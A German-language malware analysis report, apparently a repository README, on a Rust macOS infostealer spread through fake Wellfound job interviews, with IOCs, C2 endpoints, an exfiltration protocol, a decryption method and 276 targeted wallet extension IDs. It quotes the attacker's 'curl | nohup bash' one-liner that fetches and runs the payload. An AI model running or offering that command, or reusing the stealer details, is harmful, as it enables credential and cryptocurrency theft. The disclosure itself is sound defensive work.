HyperHives macOS Infostealer — Vollständige technische Analyse

Bedrohungsinformationen: Rust-basierter macOS-Universal-Binary-Infostealer, der über eine gefälschte Job-Interview-Pipeline auf Wellfound (ehemals AngelList) ausgeliefert wird. Das Betreiber-Pseudonym „Felix" von „HyperHive" lockte Ziele dazu, einen schädlichen Installer von macos.hyperhives.net auszuführen. Dieses Repository dokumentiert eine vollständige statische Analyse: 571 entschlüsselte Konfigurationswerte wurden wiederhergestellt, darunter C2-URLs, eine Sentry-DSN und 276 gezielte Chrome-Erweiterungs-IDs.
| |
|---|
| Sample SHA-256 | 5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3 |
| C2-Domain | cloudproxy.link |
| Auslieferungs-Domain | macos.hyperhives.net |
| Köder-Plattform | Wellfound (ehemals AngelList) |
| Betreiber-Persona | „Felix" bei „HyperHive" |
| VirusTotal | 9 / 63 Erkennungen |
| Klassifizierung | Öffentliche Offenlegung / IOC-Bundle |
| Zuletzt aktualisiert | April 2026 |
Inhalt
Repository-Struktur```
.
├── README.md # This report
├── iocs.txt # Flat IOC list
├── yara_rules.yar # YARA detection rules
├── sigma_rules.yml # Sigma detection rules
├── stix/
│ └── bundle.json # STIX 2.1 threat-intelligence bundle
├── attack-navigator-layer.json # ATT&CK Navigator layer
├── output/
│ ├── full_decrypted_config.json # Machine-readable decrypted configuration
│ ├── iocs.json # Structured IOC export
│ ├── c2_protocol.txt # C2 protocol field documentation
│ ├── cargo_dependencies.txt # Embedded Rust crate list (97 crates)
│ ├── source_map.txt # Reconstructed source-file layout
│ └── targets.txt # Targeted applications and data paths
├── scripts/
│ ├── decrypt_all.py # Definitive config decryptor (Unicorn emulation)
│ ├── analyze.py # Static analysis driver
│ ├── extract_all.py # String and structure extractor
│ ├── r2_analyze.py # Radare2 analysis automation
│ ├── r2_targeted.py # Targeted R2 analysis for helpers
│ └── validate_repo.py # CI validation script
├── sample/
│ └── README.md # Instructions for sample placement
├── Dockerfile # Analysis container image
├── docker-compose.yml # Air-gapped compose config
├── lab.sh # Helper script for Docker lab
├── SECURITY.md # Safe handling and vulnerability reporting
├── CONTRIBUTING.md # Contribution guidelines
├── CHANGELOG.md # Release history
├── LICENSE # MIT
└── .github/
├── workflows/validate.yml # CI: YARA + Sigma + file checks
├── ISSUE_TEMPLATE/ # Structured issue forms
└── PULL_REQUEST_TEMPLATE.md # PR checklist
---
## Schnellstart
Platziere die Beispiel-Datei als `sample/installer_binary` (siehe [`sample/README.md`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/sample/README.md) zur Hash-Überprüfung), dann:```bash
docker compose build
docker compose run --rm lab python3 /lab/scripts/decrypt_all.py
Die Compose-Datei erzwingt network_mode: none, read_only: true und entfernt alle Linux Capabilities. Siehe SECURITY.md für die vollständigen Handhabungsrichtlinien.
TL;DR
Eine Stellenausschreibung auf Wellfound (ehemals AngelList) führte zu einer Multi-E-Mail-Social-Engineering-Kette von einer Betreiber-Persona "Felix" bei "HyperHive". Nachdem der Angreifer den technischen Hintergrund des Ziels geschmeichelt und ein gefälschtes Vorstellungsgespräch vereinbart hatte, forderte er das Opfer auf, das Produkt unter hyperhives.net zu „überprüfen“ und insbesondere Settings → Diagnostics → Log zu untersuchen – ein Vorwand, um die Ausführung von Folgendem auszulösen:```
curl -s https://macos.hyperhives.net/install | nohup bash &
Die Nutzlast ist ein **8,5 MB Mach-O Universal Binary** (x86_64 + arm64), kompiliert in Rust. Eine statische Analyse mit einer abgeschotteten Docker-Laborumgebung und CPU-Emulation von **570 eindeutigen x86_64-Helferroutinen** deckte **alle 571 verschlüsselten Konfigurationswerte** auf und legte offen:
- **C2:** `cloudproxy.link` — vier HTTPS-Endpunkte
- **Sentry (Attributions-Pivot):** vollständige DSN mit Org-/Projekt-IDs auf `ingest.de.sentry.io`
- **Build-Identität:** Cargo-Benutzer `rootr`, Codenamen `force`, Version `9.12.1`
- **Ziele:** 276 Chrome-Erweiterungs-IDs (Krypto-Wallets, Passwortmanager, Unternehmensanmeldedaten)
Die Taktiken decken sich mit **DPRK-verknüpften Contagious-Interview-Kampagnen** — vorgetäuschte Stellenanzeigen auf legitimen Plattformen, mehrstufiger Vertrauensaufbau, `curl | bash`-Auslieferung, Rust-macOS-Stealer und kryptofokussierte Exfiltration.
---
## 1 — Wie es begann
### Der Köder: gefälschtes Vorstellungsgespräch auf Wellfound
Der Angriff begann mit einer **seriös wirkenden Stellenausschreibung auf Wellfound** (ehemals AngelList). Nachdem das Opfer sich beworben hatte, entwickelte sich folgende E-Mail-Kette von einem Angreifer, der das Pseudonym **„Felix“** und den Firmennamen **„HyperHive“** verwendete:
**E-Mail 1** (4. April 2026) — Erster Kontakt. „Felix“ bestätigte den Lebenslauf und das LinkedIn-Profil des Ziels, behauptete, dass ihr „Tech Lead“ dem nächsten Schritt zugestimmt habe, und bezog sich dabei explizit auf die tatsächliche technische Erfahrung des Ziels. In der E-Mail hieß es, HyperHive arbeite an der „Desktop-Version von Hyperhives für verschiedene Betriebssysteme“, und lud das Ziel ein, einen Vorstellungstermin in der Zeitzone UTC+0 zu vereinbaren.
**E-Mail 2** (5. April 2026) — Terminverfolgung. Sie schlug einen konkreten Interview-Slot vor (8. April um 15:00 UTC) und enthielt die kritische Anweisung zur Nutzlastauslieferung:
> *„Wenn Sie die Möglichkeit haben, werfen Sie bitte auch einen kurzen Blick auf das Produktprotokoll unter **Einstellungen → Diagnose → Protokoll**. Wir bitten Sie möglicherweise um ein paar kurze Kommentare zum Protokoll und zu anderen Produktbeobachtungen, die Ihnen auffallen, da dies oft ein gutes Zeichen für technische Erfahrung und Liebe zum Detail ist.“*
Dies leitete das Ziel auf `https://hyperhives.net`, wo das Navigieren zum Diagnosebereich Folgendes auslöste:```
curl -s https://macos.hyperhives.net/install | nohup bash &
Was als nächstes geschah
Der Befehl lud eine 8,5 MB große universelle Mach-O-Binärdatei herunter und führte sie aus. Über AppleScript erschien ein falscher macOS-Passwortdialog. Das Passwort wurde nicht eingegeben. Die Prozesse wurden sofort beendet und die Probe für die Analyse aufbewahrt.
Übersicht der Social-Engineering-Taktiken
2 – Die Binärdatei
Die Probe weist eine professionelle Entwicklung auf: semantische Versionierung, Sentry-Integration für Betriebssicherheit und eine große eingebettete Konfiguration, die mit 570 eindeutigen Hilfsfunktionen verschlüsselt ist.
VirusTotal-Abdeckung
Vollständiger Bericht – 9 / 63 Engines erkannten die Probe zum Zeitpunkt der Ersteinreichung (April 2026). Über 85 % der Engines konnten diese Probe nicht erkennen.
Bemerkenswerte Hersteller-Familiennamen für die Querverweisung: HashBreaker (Kaspersky), JobStealer (DrWeb), PSW.Agent.BX (ESET), Stealer-BU (Avast/AVG).
Nicht erkannt von: BitDefender, CrowdStrike Falcon, Sophos, Symantec, McAfee, Malwarebytes, TrendMicro, Fortinet, ClamAV, Panda und 44 anderen Engines. Diese niedrige Erkennungsrate unterstreicht die operative Effektivität des Rust- + benutzerdefinierten Verschleierungsansatzes dieser Kampagne.
Die Erkennungsraten ändern sich, wenn Hersteller ihre Signaturen aktualisieren. Überprüfen Sie den VirusTotal-Bericht für aktuelle Ergebnisse.
3 – Was gestohlen wird
Browserdaten (Chromium-basiert)
Gestohlene Datentypen: Passwörter, Kreditkarten, Cookies, Sitzungstoken, Autofill-Formulardaten, Browserverlauf.
macOS-Systemdaten
- Login-Schlüsselbund (
login.keychain-db) – erfordert das über den gefälschten Dialog erbeutete Benutzerpasswort
- Apple Notizen – über AppleScript/osascript ausgeschleust
- Hardware-Kennungen –
IOPlatformExpertDevice / IOPlatformUUID, als hardwares an C2 gemeldet
Nachrichtenübermittlung
- Telegram Desktop –
tdata-Sitzungsmaterial für vollständige Kontoübernahme
Krypto-Wallets (188 logische Ziele, 276 Erweiterungs-IDs)
Umfassende Ausrichtung auf Browser-Erweiterungs-Wallets, darunter MetaMask, Phantom, Trust Wallet, Ronin, Exodus, OKX, Bybit, Bitget, SubWallet, Ledger Live und Trezor Suite. Vollständige Zuordnung in Abschnitt 8 und output/full_decrypted_config.json.
Passwort-Manager
Umgehungs- und Betriebskontrollen
| Funktion | Detail |
|---|
| VM-Erkennung | is_vm-Flag im C2-JSON |
Datenschleusung
Daten werden unter ~/Documents/temp_data/Application/ zwischengespeichert, in eine ZIP-Datei komprimiert und über multipart/form-data per HTTPS hochgeladen. IP-Adresse und Geolokalisierung des Opfers werden über https://freeipapi.com/api/json ermittelt.
4 – Entschlüsselte C2-Infrastruktur
Kommando und Steuerung
| Endpunkt | Rolle |
|---|
https://cloudproxy.link/m/opened | Beacon / Aktivierung |
https://cloudproxy.link/m/metrics |
Sentry DSN (Operateur-Fingerabdruck)```
https://526eff9f8bb7aafd7117ca5e33a6a183@o4509139651198976.ingest.de.sentry.io/4509422649213008
| Komponente | Wert |
|-----------|-------|
| **Öffentlicher Schlüssel** | `526eff9f8bb7aafd7117ca5e33a6a183` |
| **Organisations-ID** | `4509139651198976` |
| **Projekt-ID** | `4509422649213008` |
| **Region** | EU — `ingest.de.sentry.io` |
Rechtliche Anfragen an Sentry können Konto-Registrierungsdaten, Abrechnungsaufzeichnungen und Zugriffsmetadaten im Zusammenhang mit dieser Org/Projekt offenlegen.
### Geolokalisierungs-API
`https://freeipapi.com/api/json` — Opfer-IP / Land für C2-JSON (`ipAddress`, `countryCode`).
### C2-Exfiltrationsprotokoll
| Feld | Rolle |
|------|-------|
| `buildName` / `buildVersion` | `force` / `9.12.1` |
| `uid`, `log_id` | Opfer- / Sitzungskennungen |
| `ip`, `geo` | Von Geolokalisierungs-API |
| `pers_password` | Fake-Dialog-Passwort |
| `passwords`, `wallets`, `credits`, `autofills` | Gestohlenes Material |
| `is_vm`, `hardwares`, `force_mode` | Umgebungs- / Steuerflags |
Upload-Methode: `multipart/form-data`, `application/zip`, Verbindungszeichenfolge `UPLD connect`.
---
## 5 — Zuordnung
### Indikatoren für Kompromittierung
| Indikator | Wert | Quelle |
|-----------|------|--------|
| Köderplattform | Wellfound (AngelList) | Opferbericht |
| Betreiber-Persona | „Felix“ bei „HyperHive“ | Köder-E-Mails |
| Köder-Website | `hyperhives.net` | Köder-E-Mails |
| Absender-E-Mail | `[email protected]` | Köder-E-Mails |
| Auslieferungsdomain | `macos.hyperhives.net` | Payload-Download |
| Auslieferungs-IP | `81.28.12.12` (Gcore CDN) | DNS-Auflösung |
| Registrar / E-Mail | Tucows; Spacemail | WHOIS / MX |
| **C2-Domain** | **`cloudproxy.link`** | **Aus Sample entschlüsselt** |
| **Sentry-DSN** | Siehe [Abschnitt 4](#sentry-dsn-operator-fingerprint) | **Aus Sample entschlüsselt** |
| Build-Benutzer | `rootr` | Eingebettete Cargo-Pfade |
| Sample SHA-256 | `5c7385c3...bf8dd3` | Dateihash |
### Entwickler-Handle: `rootr`
Eingebetteter Pfad `/Users/rootr/.cargo/registry/`. OSINT zum Handle — [github.com/rootr](https://github.com/rootr) (Stand Analysedatum): angegebenes Unternehmen „RootR“, Standort Genf, Konto erstellt am **2024-06-27**, keine öffentlichen Repositorys. Konsistent mit einem Wegwerf- oder Betriebsprofil.
### DPRK / Contagious Interview (analytische Bewertung)
| TTP | Dieses Sample | Gemeldetes DPRK-nahes Muster |
|-----|-------------|--------------------------------|
| **Gefälschte Jobrekrutierung auf legitimer Plattform** | Wellfound (AngelList)-Beitrag → E-Mail-Kette mit „Felix“ | Contagious Interview: LinkedIn, Indeed, Wellfound gefälschte Recruiter-Ansprache |
| **Mehrstufiges Social Engineering** | 2+ E-Mails mit Bezug auf echten Lebenslauf, Termin für Fake-Interview | Vertrauensaufbau vor Payload; in mehreren DPRK-Kampagnen dokumentiert |
| **Vorwand „Produktbewertung / Code-Test“** | „Einstellungen → Diagnose → Protokoll prüfen“ | Vorwände wie „Unser Projekt prüfen“ / „diesen Code-Test ausführen“ |
| `curl \| bash`-Auslieferung | Installations-Einzeiler von `macos.hyperhives.net` | Häufiger macOS-Social-Engineering-Vektor |
| Rust Mach-O universelles Binary | rustc 1.87.0, x86_64 + arm64 | RustDoor / RustBucket / ähnliche Cluster |
| Gefälschter Passwortdialog | AppleScript `osascript` | In verwandten macOS-Kampagnen dokumentiert |
| Großer Krypto-Wallet-Zielset | 276 Erweiterungs-IDs, 188 Wallet-Namen | Finanzielle Motivation konsistent mit DPRK-Einnahmeerzielung |
**Vertrauensgrad:** **hoch** für thematische und TTP-Übereinstimmung. Die Wellfound-Fake-Job-Pipeline, die Multi-E-Mail-Vertrauenskette, der Produktbewertungsvorwand, der Rust-MacOS-Stealer und der Fokus auf Krypto-Wallets passen eng zum Contagious-Interview-Playbook. Dies ist eine analytische Bewertung, keine Zuschreibung durch Regierung oder Strafverfolgungsbehörden.
---
## 6 — Kryptanalyse
Konfigurationszeichenfolgen werden durch eine **benutzerdefinierte XOR-Chiffre** geschützt: 570 kleine x86_64-Hilfsfunktionen (Codebereich `0x10000`–`0x15000`) berechnen jeweils einen eindeutigen 16-Bit-Offset aus `(data_ptr, seed)`. Der Offset indiziert das Binary, um einen 32-Byte-XOR-Schlüssel zu erzeugen, der auf den entsprechenden Chiffretextblock angewendet wird.
### Ansätze, die fehlschlugen
| Methode | Ergebnis |
|--------|---------|
| Naive XOR-Durchläufe | Kein zusammenhängender Klartext |
| AES / PBKDF2-Schlüsselraten | Kein Schlüsselplan gefunden |
| Vollständige Binary-Unicorn-Emulation der Rust-Laufzeit | Kontrollflusskomplexität führte zu Divergenz |
### Erfolgreicher Ansatz
1. **Scan** auf RIP-relativierte `LEA`-Instruktionen, die auf den Konfigurationsbereich (`0x2b8000`–`0x2bc000`) abzielen.
2. **Parse** vorhergehenden Code, um `(helper_function_address, data_pointer, seed)` zu extrahieren.
3. **Emuliere** jeden Helfer isoliert mit [Unicorn Engine](https://www.unicorn-engine.org/) (maximal 200 Instruktionen).
4. **XOR-entschlüssele** den 32-Byte-Block an der Zieladresse mit dem Schlüssel am berechneten Offset.
5. **Erweitere** für mehrblockige Zeichenfolgen (URLs, DSN) und OR+XOR-Metadateneinträge.
**Abdeckung:** 381 XOR-Blöcke + 190 OR+XOR-Metadateneinträge = **571 Konfigurationswerte wiederhergestellt** in 1,1 Sekunden. Keine ungefundenen verschlüsselten Einträge.
**Implementierung:** [`scripts/decrypt_all.py`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/scripts/decrypt_all.py)
---
## 7 — MITRE ATT&CK-Zuordnung
> Importieren Sie [`attack-navigator-layer.json`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/attack-navigator-layer.json) in [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) für eine interaktive Ansicht.
| Technik | ID | Verwendung in diesem Sample |
|-----------|----|--------------------|
| Phishing | T1566 | Social-Engineering-E-Mail von `[email protected]` |
| Benutzerausführung: Schädliche Datei | T1204.002 | `curl \| bash` vom Köder |
| Befehl und Skriptinterpretation: AppleScript | T1059.002 | Gefälschter Passwortdialog, Apple Notes-Exfiltration |
| Befehl und Skriptinterpretation: Unix-Shell | T1059.004 | Anfängliche Ausführung über piped bash |
| Anmeldeinformationen aus Passwortspeichern: Schlüsselbund | T1555.001 | Extraktion des Login-Schlüsselbunds |
| Anmeldeinformationen aus Passwortspeichern: Anmeldeinformationen aus Webbrowsern | T1555.003 | Entschlüsselung von Chromium Login Data |
| Web-Sitzungscookie stehlen | T1539 | Diebstahl von Browser-Cookies und Tokens |
| Daten aus lokalem System | T1005 | Wallets, Telegram, Notes, Autofill |
| Gesammelte Daten archivieren | T1560 | ZIP-Staging unter `~/Documents/temp_data/` |
| Exfiltration über C2-Kanal | T1041 | HTTPS-POST an `cloudproxy.link` |
| Anwendungsschichtprotokoll: Webprotokolle | T1071.001 | HTTPS-C2 mit vier Endpunkten |
| Virtualisierungs-/Sandbox-Umgehung | T1497 | `is_vm`-Flag |
| Verschleierte Dateien oder Informationen | T1027 | 570 XOR-Hilfsfunktionen |
| Eingabeerfassung | T1056 | Gefälschter Passwortdialog |
| Systeminformationserkennung | T1082 | Hardware-ID und OS-Version-Sammlung |
| Systemnetzwerkkonfigurationserkennung | T1016 | `freeipapi.com`-Geolokalisierung |
| Vertrauenssteuerungen umgehen: Gatekeeper-Bypass | T1553.001 | `xattr -c` auf heruntergeladenem Binary |
---
## 8 — Wallet- und Erweiterungs-ID-Referenz
188 Wallet-Namen und **276 einzigartige** 32-stellige Chrome-Erweiterungs-IDs wurden wiederhergestellt. Die folgende Tabelle zeigt hochkarätige Ziele; die vollständige Liste befindet sich in [Anhang A](#anhang-a--alle-276-chrome-erweiterungs-ids) und `output/full_decrypted_config.json`.
| Wallet | Erweiterungs-ID |
|--------|--------------|
| MetaMask | `hnfanknocfeofbddgcijnmhnfnkdnaad` |
| Phantom | `bfnaelmomeimhlpmgjnjophhpkkoljpa` |
| Trust Wallet | `egjidjbpglichdcondbcbdnbeeppgdph` |
| Ronin | `fnjhmkhhmkbjkkabndcnnogagogbneec` |
| Exodus Web3 | `aholpfdialjgjfhomihkjbmgjidlcdno` |
| OKX | `mcohilncbfahbmgdjkbpemcciiolgcge` |
| Bybit | `pdliaogehgdbhbnmkklieghmmjkpigpa` |
| Bitget | `jiidiaalihmmhddjgbnbgdfflelocpak` |
| SubWallet | `onhogfjeacnfoofkfgppdlbmlmnplgbn` |
| Coinbase Wallet | `hnfanknocfeofbddgcijnmhnfnkdnaad` |
**Desktop-Wallets:** Auch die Datenverzeichnisse von Ledger Live und Trezor Suite sind Ziele.
**Wichtig:** Diese Erweiterungs-IDs identifizieren **legitime Browsererweiterungen**, deren lokale Daten die Malware für den Diebstahl anvisiert. Es handelt sich **nicht** um bösartige Erweiterungen.
---
## 9 — Empfohlene Maßnahmen
### Für potenzielle Opfer
- Führen Sie **keine** unbekannten `curl | bash`-Einzeiler aus
- Rotieren Sie alle im Browser gespeicherten Anmeldeinformationen, Krypto-Wallet-Schlüssel und Passwort-Manager-Masterpasswörter, falls diese offengelegt wurden
- Überprüfen Sie die Festplatte auf `~/Documents/temp_data/`
- Melden Sie den Vorfall der örtlichen Strafverfolgungsbehörde und dem zuständigen nationalen CERT (z. B. IC3, NCSC)
### Für Verteidiger
- **Blockieren** Sie `macos.hyperhives.net`, `cloudproxy.link` und `81.28.12.12` (überprüfen Sie die Auswirkungen von Shared-Hosting vor der IP-Sperrung)
- **Suchen** Sie nach HTTPS-Datenverkehr zu `cloudproxy.link` und DNS-Anfragen für beide Domains
- **Setzen** Sie die YARA- und Sigma-Regeln aus diesem Repository ein (passen Sie sie an Ihre Umgebung an)
- **Vergleichen** Sie installierte Chrome-Erweiterungen mit der 276-ID-Liste (die Erweiterungen sind legitim – die Malware liest deren lokale Daten)
- **Importieren** Sie `stix/bundle.json` in Ihre CTI-Plattform (MISP, OpenCTI, ThreatConnect usw.)
### Für rechtliche Ermittlungen
| Ziel | Was anzufragen |
|--------|-----------------|
| Sentry | Konto- und Abrechnungsdaten für die Organisation `4509139651198976` |
| Domain-Registrare | WHOIS-Datensätze für `cloudproxy.link` und `hyperhives.net` |
| Gcore CDN | Zugriffsprotokolle für `81.28.12.12` |
| E-Mail-Anbieter | Kontodaten für `[email protected]` |
| GitHub | Kontometadaten für `rootr` |
---
## 10 — Methodik
Die Analyse wurde in einem **Docker-Container** durchgeführt mit:
- `network_mode: none` (keine ausgehende Konnektivität)
- `read_only: true` (unveränderliches Root-Dateisystem)
- Alle Linux-Capabilities entfernt (`cap_drop: ALL`)
- `no-new-privileges`-Sicherheitsoption
Werkzeuge: Python (LIEF, Unicorn Engine, Capstone, r2pipe), Radare2 und benutzerdefinierte Skripte. Es wurde keine dynamische Ausführung der Malware durchgeführt – alle Ergebnisse stammen aus statischer Analyse und isolierter CPU-Emulation einzelner Hilfsfunktionen.
Verifizierte Artefakte: [`scripts/decrypt_all.py`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/scripts/decrypt_all.py), [`output/full_decrypted_config.json`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/output/full_decrypted_config.json).
---
## Anhang A — Alle 276 Chrome-Erweiterungs-IDs
Die Malware-Konfiguration verweist auf diese Erweiterungs-IDs (Local-Storage-/LevelDB-Pfade in Benutzerprofilen). **Diese IDs identifizieren legitime Erweiterungen, die für Datendiebstahl ins Visier genommen werden, keine bösartigen Erweiterungen.**```
abkahkcbhngaebpcgfmhkoioedceoigp abogmiocnneedmmepnohnhlijcjpcifd
acmacodkjbdgmoleebolmdjonilkdbch aeachknmefphepccionboohckonoeemg
aeblfdkhhhdcdjpifhhbdiojplfjncoa afbcbjpbpfadlkmhmclhkeeodmamcflc
afccgfbnbpgfdokbllhiccepgggofoco aflkmfhebedbjioipglgcbcmnbpgliof
agoakfejjabomempkjlepdflaleeobhb ahkpfejaeoepmfopmbhjgjekibmfcfgo
aholpfdialjgjfhomihkjbmgjidlcdno aiifbnbfobpmeekipheeijimdpnlpgpp
aijcbedoijmgnlmjeegjaglmepbmpkpi ajofhbfomojicfifgoeeimefklkfdkfn
ajopcimklncnhjednieoejhkffdolemp akckefnapafjbpphkefbpkpcamkoaoai
akkmagafhjjjjclaejjomkeccmjhdkpa algblmhagnobbnmakepomicmfljlbehg
amdcajcnofodjpgbbdnnjkffamfnidae amkmjjmmflddogmhpjloimipbofnfjih
ammjlinfekkoockogfhdkgcohjlbhmff anokgmphncpekkhclmingpimjmcooifb
aodkkagnadcbobfpggfnjeongemjbjca aoedbjimepepemdafoodplnknfkmbnle
apgjfbcibghlclbdiipmojppngeilcol bbjmepflljbbfaehppakknfgdnojoled
bccippoanbhflmokhkbkepmhmndijenh bcpialkijhffpgnmgjhjmdeabdbbfmbo
bdgmdoedahdcjmpmifafdhnffjinddgc bfeplaecgkoeckiidkgkmlllfbaeplgm
bflldjbbpcjgooclhpmhdhioebmnnkcm bfnaelmomeimhlpmgjnjophhpkkoljpa
bgjogpoidejdemgoochpnkmdjpocgkha bhhhlbepdkbapadjdnnojkbgioiodbic
bhmbcdekobebkhmloafbjfdcphbmpcnm bidcmgjdfgkagkleecdockomdjlgglbg
bifidjkcdpgfnlbcjpdkdcnbiooooblg blnieiiffboillknjnepogjhkgnoapac
bmkakpenjmcpfhhjadflneinmhboecjf bmmhjnaohafphhlecmkkiaaglcebcapn
bodadjcgfgigmmnambomndppidgdjlni bplepbelihejfpcjoeialhjpamgpnfln
caalbmclnkldkcgcdkfiapoopikbofnl cgeeodpfagjceefieflmdfphplkenlfk
cihmoadaighcejopammfbmddcmdekcje ciojocpkclfflombbcfigcijjcbkmhaf
cjelfplplebdjjenllpjcblmjkfcffne ckklhkaabbmdjkahiaaplikpdddkenic
cmbagcoinhmacpcgmbiniijboejgiahi cmoakldedjfnjofgbbfenefcagmedlga
cnmbailpgmdagpofalkeoeooefdkjfdl cnncmdhjacpkmjmkcafchppbnpnhdmon
cnoepnljjcacmnjnopbhjelpmfokpijm codfcglpplgmmlokgilfkpcjnmkbfiel
cpmkedoipcpimgecpmgpldfpohjplkpp dbgnhckhnppddckangcjbkjnlddbjkna
dcbjpgbkjoomeenajdabiicabjljlnfp dfbacijefbcabjnngipfnbhcpoldlkcg
dkdedlpgdmmkkfjabffeganieamfklkm dlcobpjiigpikoobohmabehhmhfoodbb
dldjpboieedgcmpkchcjcbijingjcgok dmjmllblpcbmniokccdoaiahcdajdjof
dngmlblcodfobpdpecaadgfbcggfjfnm dpcklmdombjcplafheapiblogdlgjjlb
dpdmipjakdiapplcecdmgckknipnfjph dpealdfjgahljjdekeiadjnfgpijffhg
dpmfhilhjlhhakpbieclcghochdofeao eaeecbmeajhliilmacefcgjnnijkkfki
ebaeifdbcjklcmoigppnpkcghndhpbbm ebfidpplhabeedpnhjnobghokpiioolj
efbglgofoippbgcjepnhiblaibcnclgk egjidjbpglichdcondbcbdnbeeppgdph
ehgjhhccekdedpbkifaojjaefeohnoea ehjiblpccbknkgimiflboggcffmpphhp
ejbalbakoplchlghecdalmeeeajnimhm ejbidfepgijlcgahbmbckmnaljagjoll
ejdmhlhkcfbkcoifejkcbonhodkgflgg ejjladinnckdgjemekebdpeokbikhfci
elalghlhoepcjfaedkcmjolahamlnjcp eljobehkpcnpekmbcjiidekjhkbcnpkf
ellkdbaphhldpeajbepobaecooaoafpg emafjfadeeammocialbgjbaeldmpddne
emeeapjkbcbpbpgaagfchmcgglmebnen emgcpdnckldpdhjgmkeeahfaokmhgpab
enabgbdfcbaehmbigakijjabdpdnimlg epapihdplajcdnnkdeiahlgigofloibg
fajmdbbmcncahahilpfdiacamedmgdlk fbplgegfggencanbeceipjpanlmgpkfi
fcckkdbjnoikooededlapcalpionmalo fcfcfllfndlomdhbehjjcoimbgofdncg
fcjkomdnccnlklmhncgmaehaakjkddnk fdchdcpieegfofnofhgdombfckhbcokj
fdcnegogpncmfejlfnffnofpngdiejii fdjamakpfbbddfjaooikfcpapjohcfmg
fhbohimaelbohpjbbldcngcnapndodjp fhilaheimglignddkjgofkcbgekhenbh
fhmmkjofdcpnoklcbcnbjjhigobceikb fihkakfobkmkjojpchpfgcmhfjnmnfpi
fijngjgcjhjmmpcmkeiomlglpeiijkld fjghjobbfggoacelnibacipoilennobn
fldfpgipfncgndfolcbkdeeknbbbnhcc fmpbldieijjehhalgjblbpgjmijencll
fnabdmcgpkkjjegokfcnfbpneacddpfh fnjhmkhhmkbjkkabndcnnogagogbneec
fnnegphlobjdpkhecapkijjdkgcjhkib fopmedgnkfpebgllppeddmmochcookhc
fpibioaihcagphbidhodidjbnclocgll fpkhgmpbidmiogeglndfbkegfdlnajnf
gbjepgaebckfidagpfeioimheabiohmg gdokollfhmnbfckbobkdbakhilldkhcj
gejiddohjgogedgjnonbofjigllpkmbf ghihpcdpbjaaomhlfnhdlocimojkinpm
ghlmndacnhlaekppcllcpcjjjomjkjpg ghmbeldphafepmbegfdlkpapadhbakde
gjlmehlldlphhljhpnlddaodbjjcchai gkeelndblnomfmjnophbhfhcjbcnemka
gkhnjcpkikkkfhhdhhphcbhmkikoicgn gkpbmnplcjdnnmmiaaphofhdiicdhfah
glhefpglgefbmegkpjkdgoikologepdl hbbgbephgojikajhfbomhlmmollphcad
hbdheoebpgogdkagfojahleegjfkhkpl hbinmkhlebcnghpikoekkbeljbealbje
hbneiaclpaaglopiogfdhgccebncnjmc hbnpcbochkgodkmmicbhfpmmkhbfbhim
hddkffjleepiafmkhcneldjipkfkkofk hdokiejnpimakedhajhdlcegeplioahd
heefohaffomkkkphnlpohglngmbcclhi hgbeiipamcgbdjhfflifkgehomnmglgk
hgnpaljkalilofmmbhgkkldbdbogddlo hifafgmccdpekplomjjkcfgodnhcellj
hlbmghfhijdlnllnnnakmcagdfhhkfna hmeobnfnfcmdkdcmlblgagmfpfboieaf
hnfanknocfeofbddgcijnmhnfnkdnaad hnhobjmcibchnmglfbldbfabcgaknlkj
hpbgcgmiemanfelegbndmhieiigkackl hpclkefagolihohboafpheddmmgdffjm
hpglfhgfnhbgpjdenjgmdgoeiappafln hpjiiechbbhefmpggegmahejiiphbmij
ibjflpbmadchofnbpppegdbnifdgincp ibljocddagjghmlpgihahamcghfggcjc
ibnejdfjmmkpcnlpebklmnkoeoihofec icmkfkmjoklfhlfdkkkgpnpldkgdmhoe
idnnbdplmphpflfnlkomgpfbpcgelopg idpfplgehakelkdadhcacicjjbemjbke
ifckdpamphokdglkkdomedpdegcjhjdp ifclboecfhkjbpmhgehodcjpciihhmif
ifgjklbmlnimhldbmddmkdhoahfocppf ikcpjgihikfinlkobegiiogdigohmfam
ilhaljfiglknggcoegeknjghdgampffk imlcamfeniaidioeflifonfjeeppblda
iokeahhehimjnekafflcihljlcjccdbe jaooiolkmfcmloonphpiiogkfckgciom
jbdaocneiiinmjbjlgalhcelgbejmnid jccapkebeeiajkkdemacblkjhhhboiek
jfdlamikmbghhapbgfoogdffldioobgl jfflgdhkeohhkelibbefdcgjijppkdeb
jhjebgdkdemiibiibgickfkilfpbelaj jhnilbocebbmeelaolalihfokjgdmogb
jicpmdkafljkkppgpellcjhfhdmjpogm jiepnaheligkibgcjgjepjfppgbcghmp
jiidiaalihmmhddjgbnbgdfflelocpak jjkhekbaikcnpnhflnnlnbonkkobkiim
jljjeghmeihjegifdhbghcoihdiegkkl jmgipjhlmabpmcikcahmmgleghckefjg
jnggcdmajcokeakpdeagdhphmkioabem jnldfbidonfeldmalbflbmlebbipcnle
jnlgamecbpmbajjfhmmmlhejkemejdma jojhfeoedkpkglbfimdfabpdfjaoolaf
kdgponmicjmjiejhifbjgembdcaclcib keenhcnmdmjjhincpilijphpiohdppno
kfdniefadaanbjodldohaedphafoffoh kgdijkcfiglijhaglibaidbipiejjfdp
khgocmkkpikpnmmkgmdnfckapcdkgfaf khpkpbbcccdmmclmpigdgddabeilkdpd
kilnpioakcdndlodeeceffgjdpojajlo kjjebdkfeagdoogagbhepmbimaphnfln
kkpehldckknjffeakihjajcjccmcjflh kkpllbgjhchghjapjbinnoddmciocphm
kkpllkodjeloidieedojogacfhpaihoh klghhnkeealcohjjanjjdaeeggmfmlpl
kmphdnilpmdejikjdnlbcnmnabepfgkh kncchdigobghenbbaddojjnnaogfppfj
kolfcecahpbgbilkdkalabnfjjklkkae kpfopkelmapcoipemfendmdcghnegimn
kppfdiipphfccemcignhifpjkapfbihd kppgpfphbmbcgeglphjnhnhibonmebkn
lccbohhgfkdikahanoclbdmaolidjdfl ldcihfaojdpmhjkhioilfjjckehehddg
lfmmjkfllhmfmkcobchabopkcefjkoip lgmpcpglpngdoalbgeoldeajfclnhafa
lkpmkhpnhknhmibgnmmhdhgdilepfghe llakdhpogpnejheknjbhbadoaomejgbi
